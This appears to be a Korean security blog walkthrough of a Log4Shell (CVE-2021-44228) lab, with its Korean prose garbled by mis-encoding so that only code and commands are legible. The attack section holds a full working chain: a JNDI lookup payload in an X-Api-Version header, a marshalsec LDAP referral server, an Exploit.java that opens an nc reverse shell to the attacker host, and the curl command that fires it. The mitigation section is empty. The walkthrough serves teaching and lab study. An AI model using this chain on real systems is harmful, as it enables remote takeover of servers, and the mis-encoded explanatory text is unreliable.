Log4j 2 RCE (CVE-2021-44228)
Log4j 2 RCE (CVE-2021-44228)
1. ๊ฐ์
Log4j๋ java ๊ธฐ๋ฐ ๋ก๊น ๋๊ตฌ์ธ Apache ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ค.
Log4Shell ์ด๋ผ๊ณ ๋ํ๋ ์ด ์ทจ์ฝ์ ์ CVE-2021-44228๋ก ์๋ณ๋๋ฉฐ CVSS(Common Vulnerbility Scoring System)
์ ์๋ ์ต๊ณ ์ ์ธ 10์ ์ ๋ฐ์๋ค.
๋น๊ต์ ๊ณต๊ฒฉ๋ฐฉ๋ฒ์ด ์ฌ์ด ํธ์ ์ํ์ง๋ง RCE ์ทจ์ฝ์ ์ด๊ณ , ๋ค์ํ ์ ํ์์ ํด๋น ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ค.
ํด๋น ์ทจ์ฝ์ ์ JNDI Injection์ ํตํ RCE๋ก JNDI Lookup์ ๊ตฌ๋ฌธ์ ์ทจ์ฝํ ํ๋ผ๋ฏธํฐ์ ์ฝ์ ํ์ฌ ํด๋น ๊ตฌ๋ฌธ์ด ๋ก๊น ๋๋ฉด์ ์ ์ฑ LDAP ์๋ฒ๋ก ๋ถํฐ ์์์ ์ฝ๋๋ฅผ ๋ฐ์์์ ์คํ์ด ๋๋ ์ทจ์ฝ์ ์ด๋ค.
2. ๋์
CVE-2021-44228์ ์ทจ์ฝํ Log4j 2 ๋ฒ์ ์ ์๋์ ๊ฐ๋ค.
- Apache Log4j 2.0-beta9 ~ 2.14.1
๋ค์ํ ์ ํ์์ ํด๋น ๋ฒ์ ์ Log4j๋ฅผ ์ฌ์ฉํ๋ค. ์๋ ์ ํ๋ค์ด ๊ทธ ๋ฆฌ์คํธ์ด๋ค.
3. ๋ถ์
* Attack Payload
curl -H 'X-API-Version: ${jndi:ldap://ATTACKER_SERVER/Exploit} VICTIME_SERVER
JNDI์ด๋? - From Wikipedia
JNDI(Java Naming and Directory Interface)๋ ๋๋ ํฐ๋ฆฌ ์๋น์ค์์ ์ ๊ณตํ๋ ๋ฐ์ดํฐ ๋ฐ ๊ฐ์ฒด๋ฅผ ๋ฐ๊ฒฌ(Discover)ํ๊ณ ์ฐธ๊ณ (Lookup)ํ๊ธฐ ์ํ ์๋ฐ API์ด๋ค.
JNDI๋ ์ผ๋ฐ์ ์ผ๋ก ๋ค์์ ์ฉ๋๋ก ์ฌ์ฉ๋๋ค.
- ์๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ธ๋ถ ๋๋ ํฐ๋ฆฌ ์๋น์ค์ ์ฐ๊ฒฐ(์ : ์ฃผ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ LDAP ์๋ฒ)
LDAP์ด๋? - From Wikipedia
LDAP(Lightweight Directory Access Protocol)์ TCP/IP ์์์ ๋๋ ํ ๋ฆฌ ์๋น์ค๋ฅผ ์กฐํํ๊ณ ์์ ํ๋ ํ๋กํ ์ฝ์ด๋ค.
์ ๊ตฌ๋ฌธ์ ํด์ํด๋ณด๋ฉด HTTP Request์ X-API-Version Header์ jndi ๊ตฌ๋ฌธ์ ์ฝ์
ํ๋๋ฐ ํด๋น jndi ๊ตฌ๋ฌธ์ ldap ํ๋กํ ์ฝ์ ์ด์ฉํด Attacker_server์ Exploit ํด๋์ค๋ฅผ Lookupํ๋ค.
4. ๊ณต๊ฒฉ ๋ฐฉ์ ๋ฐ ์ค์ต
* Attack Flow
* ํ๊ฒฝ ๊ตฌ์ฑ
๊ณต๊ฒฉ ์ค์ต์ ์ํด์๋ ์๋ 2๊ฐ์ ํ๊ฒฝ ๊ตฌ์ถ์ด ํ์ํ๋ค.
- ์ทจ์ฝํ Log4j ์๋ฒ
- ์ ์ฑ LDAP ์๋ฒ
1. ์ทจ์ฝํ Log4j ์๋ฒ - 192.168.0.11:8081
์๋ ๊ตฌ์ถ๋์ด์๋ Docker ํ๊ฒฝ์ผ๋ก ํ
์คํธ ์งํํ๋ค.
> docker run --rm -p 8081:8080 log4jpwn
ํด๋น ํ๊ฒฝ์ X-API-Version ํค๋๋ฅผ logging ํ๊ณ ์๋ค.
# MainController.java
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
2. ์
์ฑ LDAP ์๋ฒ - 192.168.111.129:1389
์ ํํ๋ LDAP Refferal Server ์ธ๋ฐ ์์ฑํ ์
์ฑ Java Class ํ์ผ์ ์ทจ์ฝํ Log4j ์๋ฒ๋ก ๋ฆฌ๋ค์ด๋ ํธ ํด์ค๋ค.
> mvn clean package -DskipTests
> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER_SERVER:8000/#Exploit"
3. Exploit.class ํธ์คํ - 192.168.111.129:8000
์ทจ์ฝํ Log4j ์๋ฒ์์ ์คํ๋ ์ปค๋งจ๋๋ฅผ ์์ฑํ๋ค. ์ฌ๊ธฐ์๋ nc๋ฅผ ํตํด ๋ฆฌ๋ฒ์ค ์์ ์คํํ๋ค.
#Exploit.java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc 192.168.111.129 9999 -e /bin/sh");
# ์ทจ์ฝํ ์๋ฒ์์ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๋ฆฌ๋ฒ์ค ์ ์ ์
} catch (Exception e) {
e.printStackTrace();
}
}
}
> javac Exploit.java
> ls
Exploit.class
Exploit.java
Exploit.class ํ์ผ์ ํธ์คํ ํ๊ธฐ ์ํด ์๋ python ๋ช ๋ น์ด๋ฅผ ํตํด ์น์๋ฒ๋ฅผ ์คํํ๋ค.
> python3 -m http.server
4. Necat Listener
> nc -lvnp 9999
5. Exploit
#1. X-Api-Version Header์ ์
์ฑ ํ์ด๋ก๋๋ก Log4j ์๋ฒ๋ก ์์ฒญ ์ ์ก
> curl -H 'X-Api-Version: ${jndi:ldap://192.168.111.129:1389/Exploit}' 192.168.0.11:8081
#2. Log4j ์๋ฒ๋ ์
์ฑ LDAP Refferal Server์ Exploit.class ์์ฒญ
#3. LDAP Refferal Server์์ Exploit.class ํ์ผ์ Log4j ์๋ฒ๋ก ์ ์ก
#4. Log4j ์๋ฒ์์ Exploit.class ํ์ผ ์คํ
์ต์คํ๋ก์์ ์ฑ๊ณตํ์ฌ ์ทจ์ฝํ Log4j ์๋ฒ์ ์์ ํ๋ํ ๊ฒ์ ๋ณผ ์ ์๋ค.
5. WorkAround
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote